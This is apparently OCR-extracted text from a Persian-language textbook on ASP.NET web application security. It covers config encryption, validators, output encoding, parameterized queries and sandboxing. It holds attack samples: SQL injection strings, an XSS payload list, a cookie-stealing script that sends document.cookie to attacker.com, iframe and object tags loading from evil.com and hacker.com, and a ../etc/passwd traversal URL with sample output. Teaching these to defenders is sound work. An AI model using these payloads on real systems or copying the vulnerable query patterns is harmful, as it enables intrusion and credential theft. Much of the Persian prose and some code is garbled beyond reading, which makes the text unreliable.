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isAdmin = true;

try {

codeWhichMayFail();

iSAdmin = isUserInRole( “Administrator”);
}
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<body dir="rtl" stylei"background—color: beige;">
<form id="form1" runat="server">
<div>
<h1> Web.config o cilixo slo ceand (5,850, </h1>
P>l dbg e Sllas szl 0 Ll oo o) (LA 5 )50, 4 Lo (slo 4aTD 05 L Gl Ceond 0
</p>

<P> ol Jlail diisy 0 bogspo s S<IP>

<asp:Label ID="PlainTextConnectionString" runat="server"></asp:Label><br /><br />



<b> s/3:=. Web.config</b>

<asp:TextBox ID="webConfig" TextMode="MultiLine" Width="97%" Rows="20"
runat="server"></asp: TextBox>
<p>
<asp:Button ID="btnRefreshWebConfig" runat="server" Text="Refresh"
OnClick="btnRefreshWebConfig_Click" />
&nbsp; &nbsp; &nbsp;

<asp:Button ID="btnEncrypt" runat="server" Text=" Web.config o flw 1w, jiz ,(C}s, "

OnClick="btnEncrypt_Click" />
&nbsp; &nbsp; &nbsp;

<asp:Button ID="btnDescrypt" runat="server" Text=""Web.config o flai 15, cau jo, LS5t "

OnClick="btnDescrypt_Click" />
&nbsp;</p>
<p>
<asp:Button ID="btnEncAuthentication" runat="server" OnClick="btnEncAuthentication_Click"
Text="_:~ ,5;0, Authentication” />
&nbsp;
<asp:Button ID="btnDecAuthentication" runat="server"
OnClick="btnDecAuthentication_Click"
Text=" 1, L5550 Authentication” /></p>
</div>
</form>
</body>

</html>

protected void btnEncrypt_Click(object sender, EventArgs e)
{

ProtectSection(*"connectionStrings"”, "DataProtectionConfigurationProvider");
RefreshWebConfig();
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protected void btnDescrypt_Click(object sender, EventArgs e)
{

UnProtectSection("'connectionStrings");
RefreshWebConfig();

}
oy 25 sl aSweb.config ,sAuthentication cwnd oliSie, 5 ) K50, Sl iy s

e a0lgs Web.config s Lol Sledbl sl 4 o 6K 50, Sledbol refresh aaS's ooy FE e 5

protected void btnEncAuthentication_Click(object sender, EventArgs e)

{

ProtectSection("system.web/authentication”, "DataProtectionConfigurationProvider");
RefreshWebConfig();

protected void btnDecAuthentication_Click(object sender, EventArgs €)

{

UnProtectSection("system.web/authentication™);
RefreshWebConfig();

}
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id=2 or "1'="1"

L
public ActionResult Index(string id)
1
try
1
string connection = ConfigurationManager.ConnectionStrings["DBConnecticon™].ToString();
using (SgqlConnection con = new SglConnection(connection))
1
string query = "select * from EmployeeDetails where EmpID=" + id; // Inline Query
-
SqlCommand cmd = new SqlCommand(query, con);
cmd.CommandType = CommandType.Text;
DataTable dt = new DataTable();
SqlDataAdapter ad = new SqlDataAdapter(); -
-
ad.SelectCommand = cmd; @&
ad.Fill(dt);
h
¥
catch (Exception ex)
1
throw ex;
¥
return View();
3
Inline Query
N
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String query = "SELECT * FROM accounts WHERE custID="" + request.getParameter("id")

+ i,

aS( 05 ol Oy 4 y2ie Gl (o gyl a4y dalip SO ail)65 )65 sleiel cline yobo 45 1Y JLio
Jio plgie a (ol jpdy sl 5500
Hibernate Query Language (HQL):

Query HQLQuery = session.createQuery“FROM accounts WHERE custID="*4%- .

request.getParameter("id™) + "");
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When other user open the similar website page then the
malicious seripts is execnted and displayed on nser
browser

Add Comment
Type vour comment here

Attacker add malicious seripts in comment
box which is saved in database

EmaillD <>

Comment

<script>
alert("" okConiirm""):
< [seript>

SAVE

J \ .

When User elick on alert which is a

created irom malicious seripts the

valuable data and credentials of User

are posted to attacker l
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©\ L
(Strinqg p@ +=  "<input  name='creditcard’  type="TEXT'  value="" +
requestige meter("CC") + >

@ 1 00ls i 1y 955 55950 55 'CCY el )l olee

\

\SS Aitack

"><script> document.location= "http://www:.attacker.com/cgi-

bin/cookie.cgi ?foo="+document.cookie</script>'.
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http://example.com/app/admin_getappInfo
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http://www.juggyboy.com/GET/process.php./../..[..1..1..1..]..]..]..letc/passwd
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<?php

Stheme = 'Jason.php':;

if ( is _set( § COOKIE['THEME'] ) )
Stheme = § COOKIE('THEME']:

include (

" /home/users/juggyboy/Jasen/" .

Stheme ) ;7>

s 35l g0 LT 02 slo 5o, 5 5 lS (6o o Lol o g led 355 1 ool S 3525 Lo
D23 o iales ;F3sa5 4y (wls 5 @ ey 5 5,5 4 bgy e ledlbsl) passwd

root:a98b24a1d3e8:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
Jason:a3b698a76f76d57.:182:100:Developer:/home/users/Jason/:/bin/csh

</
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Strry = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt =

connection.prepareStatement(query, ...);

pstmt.setString(1, request.getParameter("acct™)); ResultSet results = pstmt.executeQuery();
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<section id«"loginForm™>
<h2>Use a local account to log in.</h2> e
@using (Html.BeginForm(new { ReturnUrl = ViewBag.ReturnUrl })) {
@Html.AntiForgeryToken()
@Htel.validationSummary(true)

<fieldset>
<legend>Log in Form</legend> Register Login
<ol>
<li> Home About Contact

@Html, LabelFor(m => m.UserName)
@Html.TextBoxFor(m => m.UserName)
@Html.validationMessageFor(m => m.UserName)

.

/18> Log in.
<1i>

gttml. LabelFor(m => m.Password)

@Html.PasswordFor(m => m.Password) 1

@itml.vValidationMessageFor(m => m.Password) Use a Iocal account to log n.
</1i>
<1i> User name

@tml.CheckBoxFor(m => m.Rememberie)
gHtml.LabelFor(m => m.RememberMe, new { Bclass = “checkbox" })

</1i>
</ol> Password
<input type="submit™ value="Log in" />
</Tieldset>
<p>
@Html.ActionLink("Register”, "Register”) if you don't have an account. ") Remember me?
</p> =

”@%Mﬁb%ﬁ"ﬁx’oﬁfywoi‘ﬁi‘ Je

(‘(-‘,l' | locahost; 327 clw =
T S| In gven Lagin page | have entered User name
as [Saineshwar] and Password as

Home About Contact

{123456789) and aftor this | am just go to
click on [Log in] button to Login,

Log in.

Use a local account to
log in.

User name

Saineshwar ;4

Password

" Remember me? —
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l Forward J L Drop J [ Intercept is on ] L Action J Comment this item o8l i
[RawTwTHeadasIHex]

POST request to /

Type | Name | Value Add
Cookie __RequestVerificationToken t-gNkrRomaYH4C74c0O5InXdtQl_i7M10ujqgzZwa1_SMcjipNaLahGXOPPolj...

Body __RequestVerificationToken  JzRz217gumNn8i3YbSoCix0I3w77B7YpKY9eGaq_h9Hpl19TUGUbMxuSOYV... TR
Body UserName Saineshwar

Body Password 123456789 Up
“Body Rememberie Talke
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/I Instance method:

Regex reg = new Regex(@""[a-zA-Z'.]{1,40}$");
Response.Write(reg.IsMatch(txtName. Text));

/[ Static method:

if ('"Regex.IsMatch(txtName.Text,@"[a-zA-Z'.]{1,40}$"))
{

/I Name does not match schema

}
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/[ Implicit conversion. num long can
// hold any value an int can hold, and more!
int num = 2147483647,

long bigNum = num;

OSoe 85 (a3lge slp g5 has ol L Cast Slee S 4 guye hio [ (CASY @ po o

3t y50 00555 plosl (s s o o 4y s Joe b 5 09, S Sl s ol 5 ool ot

L s ol (s 55eS B0 sl 45 o5 Ky 4 goue £55 o o 53] Wl e gl slaigid e
LA Gl u»)‘\s L ML* u»)lS A god S5 J.h.\.u 9 Cnl 7_.5_> > 550—‘ ffii‘o.)jd?r.o

mre o S blaelS i adgs olo caws 3l s eas 1y Sledl walgls Fas o S > e 4
i Jlo o Lo o 1y lady) £33 o5 oass S, pladl 55ism ol g5 s Ja (] 45 ol 3L

S oo e o slp |y aiis o g5 @ Q] 0,5
b aalsss BLalS has g asby ol s ks dnt & 1, double g5 5l eite Sy 5 4eli

class Test

{

static void Main()

{

double x = 1234.7;

int a;

/I Cast double to int.

a = (int)x;
System.Console.WriteLine(a);
}

}
/l Output: 1234
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public interface IValidator

{
void Validate();

string Error Message { get; set; }
bool IsValid { get; set; }

}
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Name: <asp:TextBox runat="server" ID="name"> </asp:TextBox >
<asp:RequiredFieldValidator ID="nameRequired" runat="server"
ErrorMessage="You must enter your name" ControlToValidate="name"

Display="Dynamic" Text="*"/>

Caogar dcgazme (pl j0 0ad a8lol 15 oaiS slogio L g Walistbox « J);S.'wl o e 09l
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<asp:DropDownList runat="server" ID="county">
<asp:Listltem Selected="True">Select a county</asp:Listltem >
<asp:Listltem>Antrim</asp:Listltem >
<asp:Listltem>Armagh</asp:Listltem >
<asp:Listltem>Down</asp:Listltem >
<asp:Listltem>Fermanagh</asp:Listltem >
<asp:Listltem>Londonderry</asp:Listltem >
<asp:Listltem>Tyrone</asp:Listltem >

</asp:DropDownList >

<asp:RequiredFieldValidator runat="server" ID="requiredCounty"
InitialValue="Select a county" ControlToValidate="county"

ErrorMessage="You must select a county" Text="*"/>
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Gl o (ot Jlade asl snd psd Tosgase 4o &b Currency,Date, Double, Integer, String))

<asp:TextBox runat="server" ID="age" />
<asp:RangeValidator runat="server" ID="ageRange" ControlToValidate="age"
MinimumValue="18" MaximumValue="30"

Type="Integer" ErrorMessage="You must be between 18 and 30." Text="*"/>

aldy) i locl S Fo)-V-F
dwslie S0 Gl s polie L) S G jlade canslae xyliel a8 L CompareValidator
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<asp:TextBox runat="server" ID="confirm" />
<asp:CompareValidator runat="server" ID="confirmValidator"
ControlToValidate="confirm" ValueToCompare="yes" Type="String"

Operator="Equal" ErrorMessage="Enter yes to continue" Text="*" />
CaalS s 1l @) S deslie L0085 L1, S 65 gl ol o)ly polie dmlgi s 18 S
Sade U l% P Operator Couogas g aiS wuati cuslie Jlaie L 1, ControlToCompare cocogas aub (gue
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<asp:TextBox runat="server" ID="password" TextMode="Password" />
<asp:TextBox runat="server" ID="passwordConfirmation" TextMode="Password"
/>

<asp:CompareValidator runat="server" ID="passwordValidator"

ControlToValidate="password" ControlToCompare="passwordConfirmation"
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<asp:TextBox runat="server" ID="anlInteger" />
<asp:CompareValidator runat="server" ID="integerValidator"
ControlToValidate="anlInteger" Operator="DataTypeCheck" Type="Integer"

ErrorMessage="You must enter an integer" Text="*"/>
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<asp:TextBox runat="server" ID="zipcode" />
<asp:RegularExpressionValidator runat="server" ID="validateZipcode"
ControlToValidate="zipcode" ValidationExpression="\d{5}(-\d{4})?"

ErrorMessage="Please enter a valid zipcode" Text="*"/>
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<asp:TextBox runat="server" ID="quantity" />
<asp:CustomValidator runat="server" ID="validateQuanity"
ValidateEmptyText="false" ControlToValidate= "quantity"
OnServerValidate="OnValidateQuantity"

ErrorMessage="Quantities must be divisable by 10" Text="*"/>
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protected void OnValidateQuantity(object source,

ServerValidateEventArgs args)

{

AD



args.IsvValid = false;

int value;

if (int.TryParse(args.Value, out value)) {
if (value % 10 == 0){

args.Isvalid = true;

}

}

}
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<script language="javascript">
function validateQuantity(source, args) {
args.IsValid = false;

if (args.Value % 10 ==0) {

args.Isvalid = true;

}

}

</script>
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<asp:TextBox runat="server" ID="quantity" />
<asp:CustomValidator runat="server" ID="validateQuanity"
ValidateEmptyText="false"
OnServerValidate="OnValidateQuantity"
ClientValidationFunction="validateQuantity"
ControlToValidate= "quantity"

ErrorMessage="Quantities must be divisable by 10" Text="*"/>
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<form id="form1" runat="server">

<asp:ValidationSummary ID="validationSummary" runat="server" / >
Name: <asp:TextBox runat="server" ID="name"></asp: TextBox >
<asp:RequiredFieldValidator ID="nameRequired" runat="server"
ErrorMessage="You must enter your name" ControlToValidate="name"
Display="Dynamic" Text="*"/ ><br/>

Email: <asp:TextBox runat="server" ID="email" / >
<asp:RequiredFieldValidator ID="emailRequired" runat="server"
ErrorMessage="You must enter your email"
ControlToValidate="email" Display="Dynamic" Text="*"/>
<asp:RegularExpressionValidator ID="emailValidator"
runat="server"

ErrorMessage="Your email address does not appear to be valid"
Text="*"
ValidationExpression="\w+([-+.T\w+)*@\w+([-.]\W+)*\.\w—+([-
J\w+)*"

ControlToValidate="email">

</asp:RegularExpressionValidator >

<asp:Button runat="server" ID="submit" Text="Submit"
OnClick="submit_OnClick"/ >

</form>
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02 function save_email ($user, Smessage)

03 {
04 $sql = "INSERT INTO Messages (
) 0s user, message
Qos ) VALUES (
\ N 07 ‘Suser’', '$message’

% E 08  fhat
%@ o 09
@ 10 return mysql query($sql):

11 )
12 2>
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select * from tablename where UserID= 2302
ruled (o0 By 1y ) et S390 D Ls u-" "”‘-”9-’ L
select * from tablename where UserID= 2302 OR 1=1
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MySQL, MSSQL, Oracle, PostgreSQL, SQLité
‘OR'1'="1"--

"OR'1'="1"/*

MySQL

"OR1'="1"#

Access (using null characters)

"OR '1'="1" %00

"OR'1'="1" %16
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aibe ogee Slas ple b g body S5 0 onload cas &b 5l wlgs oo XSS SANS i<body>%s
SiS bl background

<!-- onload attribute -->
<body onload=alert(""XSS")>
<I-- background attribute -->

<body background="javascript:alert("XSS")">

S e L 1, iMY S5 ens oop‘.)g_a CopSlsle cladS 1,5 5510 5l 5 i<IMY> S5

<!-- <img> tag XSS -->

<img src="javascript:alert("’XSS");">

<I-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert("XSS")"">

<img lowsrc="javascript:alert("XSS")"">

o) %j, 8 05 Wly Damis o aS aas e o>l MMl Slxaw 4, iframe s :<iframe> s
35250 Tyl gl a5 el Coonl Pl STl Lol sl s Sl gl sloaS™ Jolds wilgs co S
ol=ao Document (DOM)Object Model 4, CSP() 5950 siel slacaslow wlul s iframe o

Syl Scind ez 10 (5,590 poge IfrAME 0gzg 1l L 60,l00 s s 095 Wl

<!-- <iframe> tag XSS -->
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<iframe src="http://evil.com/xss.htm| ">

Oles oo s 3 TMage il |y input S 5Itype cis a5 S50 40 0,5 1950 5l (o <INPUESS
3,5 (6,15 s G Sl S ols 13 g | QT

<!-- <input> tag XSS -->

<input type="image" src="javascript:alert("XSS");">

5.5 oo 58 oolaiul 550 >, Jliwl Glxas 4 ol ST (gl lgene a5 linK &; <link>%s

Al CBSWRES ol wilgs o

<I-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS’);">

o,lil gl 0,5 1,8 oolatwlgus o590 Wilgs oo td JlablE/ LS 5l background cas:<table> S5

Al N Sl gl a8 005410 )0 (e G @ 0,5

<l-- <table> tag XSS -->
<table background="javascript:alert("XSS")">
<I-- <td> tag XSS -->

<td background="javascript:alert("XSS")"'>

o Sl gl a8 Jlaas-lbackground G wilgs o td stable s Ss silen i SO ol i<div> S5

Al asls

<I-- <div>tag XSS -->
<div style="background-image: url(javascript:alert("XSS"))">
<!-- <div> tag XSS -->

<div style="width: expression(alert("XSS"));">

Asl 2 ol SOl s Sl gl aS™ Lol wiles e Object S5 :<object> S5 e

<I-- <object> tag XSS -->

<object type="text/x-scriptlet" data="http://hacker.com/xss.htm|">
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lo 4, Jlasl 5l sql sleswlysyo a5 095 0o zokae Jdo cnl 4 Sl G35 Doz ply 0 (5 3y ol
D1 oeplys e 1) SOl e Sl (55T gl sloby,) (n it GiSw (al 5 sz Sl
S ptall sloinlyZ kg ST T

B il (5575 41 |y Canly s 055 Wb Sl Dalo e 50 00l ol (slelsde 5355 o sal s (sl
|y 955,351 alam 3,50 wlgs oo o], a5 a5 (1) 0 w3 wigas (gl 5l oD 6y S oS 0 45
| e o s (1) JSG

)1 string sqiCommand = "select * from logins where username = "' +
Username.Text + " and password = "'+ Password.Text + "";
(11) string sglCommand = "select * from logins where username = @username

and password=@password";

ol ok 0,55 ol dyg, il oslizaul F-F-T-F F-F-F-F
o i 5 SQL2005 5l 58 ol 1, 5T ol Il s ol 1) oo 153 g, oo Syl 51 L3
45 0,5 dzgs aiSs I LL 4l oS sl CH jo 1) o gy ol lais a5 wiles 5 el 3 1) el (] 51y

Sl puedleSimn 59 1) IS ol e delol jo .l paigs CF 4 cand b o0ls (g9, (5, Sws sl SOl L5

oS oo dlul SAl jo 1y 155 SP diges (5ly SPalx! .1

CREATE PROCEDURE dbo.GetLogin(
@username varchar(25),

@password varchar(25))

AS

SELECT * FROM logins WHERE
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username = @username AND

password = @password

P 5l eolazwl g Slg=l )8 .2

string sqlCommand = "GetLogin";

using (SglConnection connection = new SglConnection)
ConfigurationManager.ConnectionStrings["database"].ConnectionString() {
connection.Open();

SglCommand command = new SqlCommand(sglCommand, connection);
command.CommandType = CommandType.StoredProcedure;
SglParameter usernameParmameter =

new SglParameter("@username”, SqIDbType.VarChar, 255){
Value = this.Username.Text

h

command.Parameters.Add(usernameParmameter);
SglParameter passwordParmameter =

new SqlParameter("@password", SqlDbType.VarChar, 255) {
Value = this.Password.Text

b

command.Parameters.Add(passwordParmameter);
SglDataReader reader = command.ExecuteReader();

if (reader.Read)()

Result.Text = "Welcome " + reader["username'];

else

Result.Text = "Login failed.";

connection.Close();

}

Pl 5395 sl STy o o1 ESCAPE (sloty, jf oolizd F-F=T=F
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b Il sbo 00 45 S oo 5355 ol (ol ST 50 405,55 0 s b ey 5 S oS a0 b
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Sy el ools plodl ) 40,5 oS a4 howd Jee gy a4 ST 5 dw) sed 09> Ban 4y s )8
o 5l o g & 5l eolaul L1, S ylas sla mSTHS wuilys oo MM aio jo 0iS o Ll 1) (6l cos Sl

il o &HB0 illae < SIS 00l o Lo diges (gl oeiS o5 4y Jyod L5 g0 SIS oS
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"> &#34
# ---> &#35
& ---> &#38
'---> &#39
(---> &#40
) ---> &#41
[ ---> &#4T
; ---> &#59
< ---> &#60
> ---> &#62

blis |, 595 Slio 5 Jols clslas ),IM 4 952 cnl b el SWl b 5 HEMI (o5 05 Lo
alyzn ST a5 cuils axgs ,»L oS oS baws 1y xml il a8 4 CSS Javascript cuwsl oo XSS S e
alolis 5l oolaiwhaSiasalrnl [0 ol oo dlou! (ol ) O as plxil (Logs 1) oS hows seled
Ly asbaswgd) ESAPI (05 &S baws glp oyws 10 sle AlbuliS 5l aiges g0 .l auae Escaping
A3l oo (dlog Sole lawgs azsliasgs) ANtiXSS 5 (OWAPS

u/)//)j/:ad/d o[f;b uo[> Escape f“— I"— ,#— ’C

g 98ly3 5 Jlie aiilen OFacle wiges oy ol 05les Jloans ESAPI ools oS3 oSy oS 5l oolicu

ESAPI.encoder ().encodeForSQL (new OracleCodec)(, queryparam);
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String query = "SELECT user_id FROM user_data WHERE user_name ="
req. getParameter(™ userID") +"" and user_password ="
req.getParameter(*'pwd") +"";

try {
Statement statement = connection.createStatement(...);

ResultSet results = statement.executeQuery (query);

}
S o 53k 2l SE a1y Jol b il

Codec ORACLE_CODEC = new OracleCodec();

String query = "SELECT user_id FROM user_data WHERE user_name ="' +
ESAPI.encoder().encodeForSQL(ORACLE_CODEC, req.getParameter(*userlD")) +
""and user_password ="'

+ ESAPI.encoder().encodeForSQL(ORACLE_CODEC, reg.getParameter("pwd"))

Sl o Ulg sl il cagmelSQL 8,5 Jlie ;o (58959 &9 51 ;B8 Bpo wumdg (ol yo

A4S ol! OracleEncoder <G by ailys oo S

Encoder oe = new OracleEncoder();
String query = "SELECT user_id FROM user_data WHERE user_name ="
+ oe.encode(req.getParameter("userID™)) + " and user_password ="

+ oe.encode(req.getParameter("pwd™)) +"";

G s |y 09500 (Wlad 5 L o ol 6l a5 el ,2) ESAPLencoder().encodeForOracle()

5I SET SCAN OFF |, SET DEFINE OFF j oslicsl by oS Jlebjué |, ST ol ale oSl oS

Y



lsiea & zSTIS sl Jlab 2SI ol ale ST asd prabe b iS55 ol ale 05 Sogals

DS oy gy B oold 4 b v co Sl azlpe 4y g ool 428§ i 0 SQLPIUS s Wgion S
a,5 escape |, o> sl 2STIS SOL gloswlss o idss plSin 453>

o Jlie 08 ealiul Jg Ja5 90 5l Gtales ;o sl Jed JE o .

SQL> SELECT 'Frank"s Oracle site’' AS text FROM DUAL;

A 'quoted' word.
SQL> SELECT 'A ""double quoted"" word." AS text FROM DUAL;

A "double quoted" word.

A....S oal.é.'.l.,.JQ u)l...c )| o

SQL> SELECT q'[Frank's Oracle site]' AS text FROM DUAL;

A 'quoted' word.
SQL> SELECT qg'[A "double quoted" word.]" AS text FROM DUAL;

A "double quoted" word.

Bl gSHS e o |y b ald ) gz giws o2l>! LIKE oS Sasls ple o SIS Las e
3yt olas, b g ao Bllai gl 7 5l eolaiul sl o (ST SO S ols ollay (6l s

e 5,5 o s e SQL 4o b 2SS ol 555 s o0liciasl ¢ 2STIS

SELECT name FROM emp
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WHERE id LIKE '%/_%' ESCAPE '/";
SELECT name FROM emp
WHERE id LIKE '%\%%' ESCAPE '\';

o5 s o0 |, DEFINE &loskas SQL*PIUS 5l oslinsl plin o :SQL*PIUS ;3 & 2SI oS @

g oolaiwl e 0 & 3l ams ol Ly

SET DEFINE ~
SELECT 'Laurel & Hardy' FROM dual;

esegpe LSS as,es @

SET ESCAPE '\'
SELECT "\&abc' FROM dual;

Weoks Nl sl e Jlis 4y @

SET SCAN OFF
SELECT '&ABC' x FROM dual,

:0,J0 SET (sleile 8 4y (g3ls a5 el concaiénation L Jlasl sloolecwl & o gl Kool, @
SELECT 'Laurel ' || '& " || ' Hardy' FROM dual;
0S ookl 109 Jgd & el 51 @

Syntax q'[QUOTE_CHAR]Text{QUOTE_CHAR]'
Make sure that the QUOTE_CHAR followed by an ' doesn't exist in the text.
SELECT g'{This is Orafaq's 'quoted' text field}' FROM DUAL;

(e s u@/& b PRIA) o[f»[: (;X)KGTJLM} &)/oo[.a.w;/ | S S A

wline .S o colazul (Granular) cos o aild jee sl 5l ools sla oL 5 Jolom (sl SQL

\RIN



So o 0y gl site (ol lajame ) Jgaz il ails 1) 15 T o5l caol oo 0digds Jaio 5,8

Ao o olas SQL Server
SQL Server o fod> iico Aol slojomod-2  Jpu>

s g@?

N L
Oble e:iii‘?aj'é?/ﬁ)Lf@)‘}.?u ol oo [, wo b fods G 5l ools iles e:‘,‘.i?oj‘L?/ﬁ)LTd,’ %ECT
dodeo [y wo b fum Gl 0ol

oo [y wo b fadz K 9,0 00l 50,5 0, L o)b/fjéfcu \ % INSERT
L s b sl 5l ools Sl Cojlo] oI5 4 \y) DELETE
4 Waieo SELECT wlivo .dodo [, wo b Jods S5 5,0 00l @bjj% ....40)1?/)354, UPDATE

S

Ao Lol oy 0 0,55 g, 5 @c:);\ji/ 5 EXECUTE

DD

ol 4 as slaols ol gl p o 0 i O yg0d ol ylae SQL jo po o i & aline
nﬂ
Wyl ly 055 4y bgyye SIS éujﬁ (G B g co 48,8 s s PUblic i lgie cod @ ls pw s

‘®\ A2 plxl ools oL SOy Wilg o 1) Slles 2 DBA i Jls ylaicas

@ AL IR SPIV TN SRR PERX

wb@%ﬁ Ol 0)lad gz g 0olo oL 4 )5 o yiws € c)l:>‘ oSy Oldas bl b s
N
@ wlo plil 153 SQL 5l 3L lgs o],y Jos (] 00,5 (S 0010 oL b  cw yiwd

CREATE USER Olle FOR LOGIN Olle;
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GRANT SELECT ON Example TO PUCK\Guest

@5?“ 55 o oolitesl 1} sz 51 SELECT 55e o, 1,

Q

DENY SELECT ON Example TO Olle

\g}w@a oolitnl 1) 5t ) ol ail _plazsl LS a5 g59mme 53 (sl

)

REVOKE SELECT ON Example TO Olle
ol 4 ML\A%&BLA U ayg, Gb 3 Jshiz o yiasd gy o0 olgiing LS oS wisSilen 51 Ll

o5 5)“3 EXECUTE ;5o canslion e 255 50 0,5 aelssei Ll 1) ( Jga joome god Lok a5 Cenlins
@ o 0 ) JL.A 5o aS sog.:b 031> ol

GRANT EXECUTE ON GetLogins TO Olle
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CREATE ROLE auditors AUTHORIZATION db _owner;

ool sbwlauditors o b oads J3 Jle ;0,500 28 o a b ooy o gy s late U o s
Bl QT @ oold oL colo a5 SQL o ous azl jrai SO .mp§ﬂner o 4 alaie a5 ol
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N =
EXEC sp_ addrolemember ‘auditors', 'PhilHa’

GRANT EXECUTE ON ReadAuditLogin TO auditors
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<pages> yais Sy 0,5 48lal b adbyy F S Web.config L o 1) calys s v el les
s L e Taman. o e L os oS Jlsne  validateRequest="false” ol s 4

2lo alxsl @pages paie o ValidateRequest="false"
Machine.config ,o ASP.NET culp=,0 zeiw,lic/ og Jlad o] F-T-F-T

o1y Poadan Slendas cul les o sl Jlad ASPINET o (6,000 O sod Culss 1o i )Liel]

5,5 saslin Machine.config.comments s

<pages validateRequest="true" ... />
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<% = Server.HTMLEncode(" The paragraph tag: <P>") %>
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The paragraph tag: &lt;P&gt;
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The paragraph tag: <P>
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Gy &S BB gy a5 LS (0 08 oy swwd oles o SEIVEr Shie &,k 5l HitpServerUtility

<l cwss HitpServerUtility oS« les oo HittpContext.Current.Server sl sslaw! b cconesfxan
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public partial class _Default: Page

{

protected void Page Load(object sender, EventArgs e)

{

Result.Text = Server.HtmlEncode("'<script>unsafe</script>");

}
}

Coty 3 45 0B oo L5 oodS T, (g ppolie ol oS aF Siglis ol b wil se L Dl gom Jlis

ROWERUTE S PSP &

public class SampleClass
{public string GetEncodedText()

{return HttpContext.Current.Server.HtmIEncode("<script>unsafe</script>");

}
}
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public partial class _Default: Page

{

protected void Page _Load(object sender, EventArgs e)

{

string destinationURL =

"http://www.contoso.com/default.aspx?user=test";

NextPage.NavigateUrl = "~/Finish?url=" +
Server.UrlEncode(destinationURL);

}

}
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public class SampleClass

{
public string GetUrl()

{

string destinationURL =
"http://www.contoso.com/default.aspx?user=test";
return "~/Finish?url=" +

HttpContext.Current.Server.UrlEncode(destinationURL);

}
}
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PermissionSet permSet = new PermissionSet(PermissionState.None);

permSet.AddPermission(new)
SecurityPermission(SecurityPermissionFlag.Execution));
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Evidence ev = new Evidence();

AR



ev.AddHostEvidence(new Zone)SecurityZone.Internet();

PermissionSet internetPS = SecurityManager.GetStandardSandbox(ev);
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StrongName full TrustAssembly =
typeof(Sandboxer).Assembly.Evidence.GetHostEvidence<StrongName>();
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AppDomainSetup adSetup = new AppDomainSetup(); adSetup.ApplicationBase =
Path.GetFullPath(pathToUntrusted);
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public static AppDomain CreateDomain(string friendlyName,
Evidence securitylnfo, AppDomainSetup info, PermissionSet grantSet,

params StrongName[] full TrustAssemblies)
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AppDomain newDomain = AppDomain.CreateDomain("Sandbox", null,

adSetup, permSet, full TrustAssembly);
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ObjectHandle handle = Activator.CreatelnstanceFrom(
newDomain, typeof(Sandboxer).Assembly.ManifestModule.FullyQualifiedName,
typeof(Sandboxer).FullName );
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class Sandboxer:MarshalByRefObject
JBe sboaS shal sl @ e ol oS ST caisls cnl jo & pe loteds | W aels Daiges B

g oo o3liil el

\YF



Sandboxer newDomainlnstance = (Sandboxer) handle. Unwrap();

Sl 3 cslos S ol F364y a5 Sandboxer 5™ 5l sleaigas ;o |, ExecuteUntrustedCode g, .7

newDomainlnstance.ExecuteUntrustedCode(untrustedAssembly

untrustedClass entryPoint parameters);
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public void ExecuteUntrustedCode(string assemblyName, string typeName,

string entryPoint, Object[] parameters)

{

MethodInfo target = Assembly.Load(assemblyName)
.GetType(typeName).GetMethod(entryPoint);

try
{

target.Invoke(null, parameters);

}

catch (Exception ex)

{

(new PermissionSet (PermissionState.Unrestricted))

Assert();

Console.WriteLine("SecurityException caught:\n{0}",

ex.ToString());
CodeAccessPermission.RevertAssert();

Console.ReadLine();

}
}
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protected void Page _Load(object sender, EventArgs e)

{
if (IsPostBack)

{

if (ViewState["count™] != null)

{

int ViewstateVal = Convert.ToInt32(ViewState["count"]) + 1;
Labell.Text = ViewstateVal.ToString();
ViewState["count"]=ViewstateVal.ToString();

}

else

{

ViewState["count"] = "1";

}
}

}
protected void Buttonl_Click(object sender, EventArgs e)

{
Labell.Text=ViewState["count"].ToString();

}
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<asp:HiddenField ID="HiddenField1" runat="server"/>
In the code-behind page:
protected void Page_Load(object sender, EventArgs e)

{
if (HiddenField1.Value != null)

{
int val= Convert.ToInt32(HiddenField1.Value) + 1;

HiddenField1.Value = val.ToString();
Labell.Text = val.ToString();

}

}
protected void Buttonl_Click(object sender, EventArgs e)

{
/lthis is No Action Button Click

}

b Ses &-Y-F
Slorao plo jo oolaiul jshaie a4 Sledbl 0,58 Tz 9290 slo Jhg, 5l Ko (SO olaw slo S5
Daliblo b M5 Bl w5 (e BB Sy 53 oS cesln 00l 5SS prm Sy (S5 il oo

\YA



sk

59 00 0,33 Sledbl 5l oslaiwl )l 0,5 solaswl aeli py Olas 51 6y 0 b SoS 51 olgy 7S

Gt yo Jsbo b ledlbl o253 (sl GI5) 20 3925 58 )5 STasladysfl (b ]
sl (oo 55 095 4 et sl il b g b Losgiie shils o (S5

2 e Dygeo d Sledlbl 5l Sl gz 0,53 Sl " o ileMb | TS x> 0 S >
D510 09> ks

G g oo S o lan |y T 4 bgpe bl 5 (S5 )%.)15 ‘45.‘(5.’.)5‘“9 200 ol pas >
(i “3.33‘1.9:;) Sles log oliws T4 Solw

& pladl pl)l5 oS Cutls ey S52g JBTG o lye sl p)l8 amsgd Ll B> ol >
I FoeelS S9 32 99790 sla (S5 B>

0 & (555 00 yuS L g p BT g5 s a9l b o )5 59 0 (B 1 50 Cudgame D929 >
Wiges lgie ay MLQ.: 3nl Covgame Ll olliws g5 @ axg b lbbw olaws o ailgs
Bl ol il Bilige (b olSiws ;5 0l aad S 5l (e 559 50 0l e 4y (S9S (6,25,

S B3 5550 Gl 311y S35 bl oSl 5 5| 5 S el 4 ditdly

Al adly Jlis @ g o aalip sl 1) (goumin Pl Wil oo L5 (pl ailes o0

355 1,8 axgi 0,90 Sledbl 0 >3 (gl s 40T S lgie a4 S5 A Cl oals Cels 398 Julge

80,5 o0 3gazme Jlws S¢S 3l eolaiul il ol Ll oz b g weya> wizrn Oledlbl a5 60 )lge 0

Yva



e

oolal Application b cais ol oS S 8 50 50 Sledbl 0 53 gl (SsS 51 asiles o Lo

2 Cugn el Kbl 4 (ol 5 00550, Jllail) (Ss So Do 3 coslitin] 5,50 S S 2]

il e ool Lo M‘%)o (slad
% sl S asss
D%
e G5 (b ol baws iS5l wo S olul |y (S5 a5 (9 m 4 \) SleMb| wilgs oo 15 59,0
05> (S5 50 0SS )5 olulid slp ol sl ‘5 S8 S oy yme Daals b )8
o y
h)\-\_AS oolazw 39 (59 ‘s.‘ SleMb| A oWy 6‘)‘3 059" )‘ o 9 OQJS

Sl o )le LS55 5l eolitul sblse

